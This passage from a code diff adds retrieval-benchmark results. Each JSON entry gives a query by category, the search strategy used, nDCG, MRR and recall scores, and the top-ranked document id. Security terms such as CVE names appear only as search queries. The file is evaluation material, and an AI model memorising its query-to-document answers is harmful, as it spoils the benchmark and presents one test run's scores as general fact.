0.8772153153380493, + "mrr": 1, + "recall10": 1, + "topDocId": "rust-ownership", + "totalRelevant": 2 + }, + { + "query": "what is the python GIL and why does it matter", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-gil", + "totalRelevant": 1 + }, + { + "query": "what is ZeRO-3 sharding in distributed training", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-fsdp", + "totalRelevant": 1 + }, + { + "query": "what is BPE tokenization", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-tokenizers", + "totalRelevant": 1 + }, + { + "query": "what does reciprocal rank fusion compute", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "algo-rrf", + "totalRelevant": 1 + }, + { + "query": "what is a Bloom filter useful for", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "algo-bloom-filter", + "totalRelevant": 1 + }, + { + "query": "what are React Server Components", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "react-server-components", + "totalRelevant": 1 + }, + { + "query": "what does the OWASP Top 10 cover", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "owasp-top-10", + "totalRelevant": 1 + }, + { + "query": "what is OAuth 2.0 PKCE", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "auth-oauth2", + "totalRelevant": 1 + }, + { + "query": "what is SOC 2 Type II", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "compliance-soc2", + "totalRelevant": 1 + }, + { + "query": "what does HIPAA require for PHI", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "compliance-hipaa", + "totalRelevant": 1 + }, + { + "query": "what is GDPR's lawful basis for processing", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "compliance-gdpr", + "totalRelevant": 1 + }, + { + "query": "what is RAG retrieval augmented generation", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-rag", + "totalRelevant": 1 + }, + { + "query": "what is LoRA fine-tuning", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-fine-tuning", + "totalRelevant": 1 + }, + { + "query": "what is RLHF in language model training", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-rlhf", + "totalRelevant": 1 + }, + { + "query": "what is a Merkle tree used for", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "crypto-merkle", + "totalRelevant": 1 + }, + { + "query": "what is QUIC and HTTP/3", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "quic-http3", + "totalRelevant": 1 + }, + { + "query": "what is an Acme architecture decision record", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "adr-template", + "totalRelevant": 1 + }, + { + "query": "what is OpenTelemetry tracing", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "otel-traces", + "totalRelevant": 1 + }, + { + "query": "what is Apache Cassandra tunable consistency", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "cassandra-consistency", + "totalRelevant": 1 + }, + { + "query": "what does Kubernetes RBAC do", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-rbac", + "totalRelevant": 1 + }, + { + "query": "what is a StatefulSet for", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-statefulsets", + "totalRelevant": 1 + }, + { + "query": "what is a NetworkPolicy in Kubernetes", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-networkpolicy", + "totalRelevant": 1 + }, + { + "query": "what is the JIT in Postgres", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.5, + "mrr": 0.3333333333333333, + "recall10": 1, + "topDocId": "pg-extensions", + "totalRelevant": 1 + }, + { + "query": "what does a Bloom filter trade off", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "algo-bloom-filter", + "totalRelevant": 1 + }, + { + "query": "what is the difference between sessions and JWTs", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "auth-jwt-vs-session", + "totalRelevant": 1 + }, + { + "query": "what is structured logging", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "structured-logging", + "totalRelevant": 2 + }, + { + "query": "what is GitOps with ArgoCD", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "gitops-argocd", + "totalRelevant": 1 + }, + { + "query": "what is a multi-stage Docker build", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "docker-multistage", + "totalRelevant": 1 + }, + { + "query": "what is the SLSA framework", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "supply-chain", + "totalRelevant": 1 + }, + { + "query": "what is workload identity federation", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "gcp-iam", + "totalRelevant": 1 + }, + { + "query": "what is CSS subgrid", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "css-flex-grid", + "totalRelevant": 1 + }, + { + "query": "what is INP in Core Web Vitals", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "web-perf-cwv", + "totalRelevant": 1 + }, + { + "query": "useState", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "code-react-hook", + "totalRelevant": 2 + }, + { + "query": "pg_repack", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-vacuum", + "totalRelevant": 1 + }, + { + "query": "kubectl rollout undo", + "category": "code", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "runbook-deploy-rollback", + "totalRelevant": 1 + }, + { + "query": "rbac.authorization.k8s.io", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-rbac", + "totalRelevant": 1 + }, + { + "query": "pool_mode=transaction", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-pooling", + "totalRelevant": 1 + }, + { + "query": "asyncio.gather", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-asyncio", + "totalRelevant": 2 + }, + { + "query": "select_related", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "django-orm", + "totalRelevant": 1 + }, + { + "query": "useEffect dependency array", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "react-effects", + "totalRelevant": 2 + }, + { + "query": "Promise.allSettled", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "promise-pitfalls", + "totalRelevant": 1 + }, + { + "query": "go func channel", + "category": "code", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "go-goroutines", + "totalRelevant": 2 + }, + { + "query": "tokio::spawn", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rust-async", + "totalRelevant": 1 + }, + { + "query": "context.WithTimeout", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "go-context", + "totalRelevant": 1 + }, + { + "query": "errors.Is errors.As", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "go-error-handling", + "totalRelevant": 1 + }, + { + "query": "Result Option ? operator", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rust-error-handling", + "totalRelevant": 1 + }, + { + "query": "WITH RECURSIVE", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "code-sql-cte", + "totalRelevant": 1 + }, + { + "query": "CREATE EXTENSION vector", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-pgvector", + "totalRelevant": 1 + }, + { + "query": "find -print0 xargs -0", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "code-bash-pipeline", + "totalRelevant": 1 + }, + { + "query": "FROM node:20-alpine AS build", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.8772153153380493, + "mrr": 1, + "recall10": 1, + "topDocId": "code-dockerfile", + "totalRelevant": 2 + }, + { + "query": "kubectl apply -f", + "category": "code", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-deployments", + "totalRelevant": 1 + }, + { + "query": "EXPLAIN ANALYZE BUFFERS", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-explain", + "totalRelevant": 1 + }, + { + "query": "VACUUM FULL", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-vacuum", + "totalRelevant": 1 + }, + { + "query": "XADD XREAD XACK", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "redis-pubsub", + "totalRelevant": 1 + }, + { + "query": "SETBIT GETBIT BITCOUNT", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "redis-bitmaps", + "totalRelevant": 1 + }, + { + "query": "SCRIPT LOAD EVALSHA", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "redis-lua", + "totalRelevant": 1 + }, + { + "query": "ALTER DEFAULT PRIVILEGES", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-roles", + "totalRelevant": 1 + }, + { + "query": "patronictl failover", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "runbook-database-failover", + "totalRelevant": 1 + }, + { + "query": "kubectl auth can-i --list", + "category": "code", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-rbac", + "totalRelevant": 1 + }, + { + "query": "actions/cache", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "github-actions", + "totalRelevant": 1 + }, + { + "query": "openssl s_client -connect", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "x509-verify", + "totalRelevant": 1 + }, + { + "query": "dmesg | grep oom-killer", + "category": "code", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-oom", + "totalRelevant": 1 + }, + { + "query": "lsof -iTCP -sTCP:LISTEN", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-conn-refused", + "totalRelevant": 2 + }, + { + "query": "ss -lntp", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-eaddrinuse", + "totalRelevant": 1 + }, + { + "query": "SO_REUSEPORT", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-eaddrinuse", + "totalRelevant": 1 + }, + { + "query": "go mod tidy", + "category": "code", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "go-modules", + "totalRelevant": 1 + }, + { + "query": "cargo build --release", + "category": "code", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rust-cargo", + "totalRelevant": 1 + }, + { + "query": "uniqueBy generic function", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "code-typescript-generic", + "totalRelevant": 2 + }, + { + "query": "impl Shape for Circle", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "code-rust-trait", + "totalRelevant": 2 + }, + { + "query": "scope :active lambda", + "category": "code", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rails-active-record", + "totalRelevant": 1 + }, + { + "query": "@SpringBootApplication", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "spring-boot", + "totalRelevant": 1 + }, + { + "query": "fastify-plugin scope", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "fastify-plugins", + "totalRelevant": 1 + }, + { + "query": "pip install uv", + "category": "code", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-virtualenv", + "totalRelevant": 2 + }, + { + "query": "pyproject.toml hatchling", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-packaging", + "totalRelevant": 1 + }, + { + "query": "df.loc df.iloc groupby", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-pandas", + "totalRelevant": 1 + }, + { + "query": "TypeVar Generic Protocol", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-typing", + "totalRelevant": 1 + }, + { + "query": "fmt.Errorf %w", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "go-error-handling", + "totalRelevant": 1 + }, + { + "query": "ERR_CONNECTION_REFUSED 4101", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-conn-refused", + "totalRelevant": 1 + }, + { + "query": "OOM killer SIGKILL", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-oom", + "totalRelevant": 1 + }, + { + "query": "CVE-2024-3094", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-cve-xz", + "totalRelevant": 1 + }, + { + "query": "RFC 7519", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rfc-7519-jwt", + "totalRelevant": 1 + }, + { + "query": "x509: certificate verify failed", + "category": "error_code", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "x509-verify", + "totalRelevant": 1 + }, + { + "query": "SQLSTATE 40P01", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-deadlock", + "totalRelevant": 1 + }, + { + "query": "EADDRINUSE", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-eaddrinuse", + "totalRelevant": 1 + }, + { + "query": "SIGSEGV segmentation fault", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-segfault", + "totalRelevant": 1 + }, + { + "query": "CVE-2021-44228 Log4Shell", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "cve-log4shell", + "totalRelevant": 1 + }, + { + "query": "RFC 8446", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "arabic-tls", + "totalRelevant": 1 + }, + { + "query": "RFC 9110 HTTP semantics", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rfc-9110", + "totalRelevant": 1 + }, + { + "query": "RFC 6238 TOTP", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "mfa-totp", + "totalRelevant": 1 + }, + { + "query": "RFC 9112", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rfc-9110", + "totalRelevant": 1 + }, + { + "query": "PEP 484 type hints", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-typing", + "totalRelevant": 1 + }, + { + "query": "PEP 703 no-GIL", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-gil", + "totalRelevant": 1 + }, + { + "query": "PEP 517 build backend", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-packaging", + "totalRelevant": 1 + }, + { + "query": "TLS 1.3 RFC 8446", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "arabic-tls", + "totalRelevant": 2 + }, + { + "query": "404 vs 410 Gone", + "category": "error_code", + "strategy": "keyword", + "reranked": true, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "quic-http3", + "totalRelevant": 1 + }, + { + "query": "503 Service Unavailable", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "runbook-deploy-rollback", + "totalRelevant": 1 + }, + { + "query": "Sev1 Sev0 incident", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "on-call-escalation", + "totalRelevant": 1 + }, + { + "query": "\"liveness probes\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-probes", + "totalRelevant": 2 + }, + { + "query": "\"borrow checker\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.9197207891481876, + "mrr": 1, + "recall10": 1, + "topDocId": "rust-ownership", + "totalRelevant": 2 + }, + { + "query": "\"connection refused\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-conn-refused", + "totalRelevant": 1 + }, + { + "query": "\"audit log\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "compliance-pii", + "totalRelevant": 2 + }, + { + "query": "\"OOM killer\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-oom", + "totalRelevant": 2 + }, + { + "query": "\"server-side rendering\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.43067655807339306, + "mrr": 0.25, + "recall10": 1, + "topDocId": "react-effects", + "totalRelevant": 1 + }, + { + "query": "\"pool of connections\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-pooling", + "totalRelevant": 1 + }, + { + "query": "\"deadlock detected\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-deadlock", + "totalRelevant": 1 + }, + { + "query": "\"cold start\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "aws-lambda", + "totalRelevant": 1 + }, + { + "query": "\"Largest Contentful Paint\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "web-perf-cwv", + "totalRelevant": 1 + }, + { + "query": "\"reciprocal rank fusion\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "algo-rrf", + "totalRelevant": 1 + }, + { + "query": "\"chain of thought\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-prompt-engineering", + "totalRelevant": 1 + }, + { + "query": "\"data subject access request\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "compliance-pii", + "totalRelevant": 1 + }, + { + "query": "\"break glass account\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "access-review", + "totalRelevant": 1 + }, + { + "query": "\"global interpreter lock\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-gil", + "totalRelevant": 1 + }, + { + "query": "\"event loop\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6131471927654584, + "mrr": 1, + "recall10": 0.5, + "topDocId": "python-asyncio", + "totalRelevant": 2 + }, + { + "query": "\"trait object\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rust-traits", + "totalRelevant": 1 + }, + { + "query": "\"head-of-line blocking\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6131471927654584, + "mrr": 1, + "recall10": 0.5, + "topDocId": "quic-http3", + "totalRelevant": 2 + }, + { + "query": "\"presigned URL\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.9197207891481876, + "mrr": 1, + "recall10": 1, + "topDocId": "aws-s3", + "totalRelevant": 2 + }, + { + "query": "\"multi-AZ\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "aws-rds", + "totalRelevant": 1 + }, + { + "query": "redis", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.7397466333385988, + "mrr": 0.5, + "recall10": 1, + "topDocId": "redis-sentinel", + "totalRelevant": 4 + }, + { + "query": "pgbouncer", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "russian-postgres", + "totalRelevant": 3 + }, + { + "query": "kubernetes", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6854831540674773, + "mrr": 1, + "recall10": 0.6666666666666666, + "topDocId": "german-kubernetes", + "totalRelevant": 6 + }, + { + "query": "tls", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.9469024295259745, + "mrr": 1, + "recall10": 1, + "topDocId": "arabic-tls", + "totalRelevant": 3 + }, + { + "query": "GIL", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-gil", + "totalRelevant": 1 + }, + { + "query": "FSDP", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-fsdp", + "totalRelevant": 1 + }, + { + "query": "bgp", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "bgp-routing", + "totalRelevant": 1 + }, + { + "query": "quic", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "quic-http3", + "totalRelevant": 1 + }, + { + "query": "websockets", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "websockets", + "totalRelevant": 1 + }, + { + "query": "mtls", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "mtls", + "totalRelevant": 1 + }, + { + "query": "kafka", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "kafka-partitions", + "totalRelevant": 1 + }, + { + "query": "lambda", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "aws-lambda", + "totalRelevant": 1 + }, + { + "query": "iam", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.7653606369886217, + "mrr": 1, + "recall10": 0.6666666666666666, + "topDocId": "gcp-iam", + "totalRelevant": 3 + }, + { + "query": "vpc", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "aws-vpc", + "totalRelevant": 1 + }, + { + "query": "rbac", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-rbac", + "totalRelevant": 2 + }, + { + "query": "helm", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-helm", + "totalRelevant": 1 + }, + { + "query": "jwt", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rfc-7519-jwt", + "totalRelevant": 2 + }, + { + "query": "totp", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "mfa-totp", + "totalRelevant": 1 + }, + { + "query": "rrf", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "algo-rrf", + "totalRelevant": 1 + }, + { + "query": "lora", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-fine-tuning", + "totalRelevant": 1 + }, + { + "query": "rag", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-rag", + "totalRelevant": 1 + }, + { + "query": "rlhf", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-rlhf", + "totalRelevant": 1 + }, + { + "query": "mongodb", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "chinese-mongodb", + "totalRelevant": 1 + }, + { + "query": "elasticsearch", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "elasticsearch-mappings", + "totalRelevant": 1 + }, + { + "query": "clickhouse", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "clickhouse-mergetree", + "totalRelevant": 1 + }, + { + "query": "dynamodb", + "category": "short_kw", + 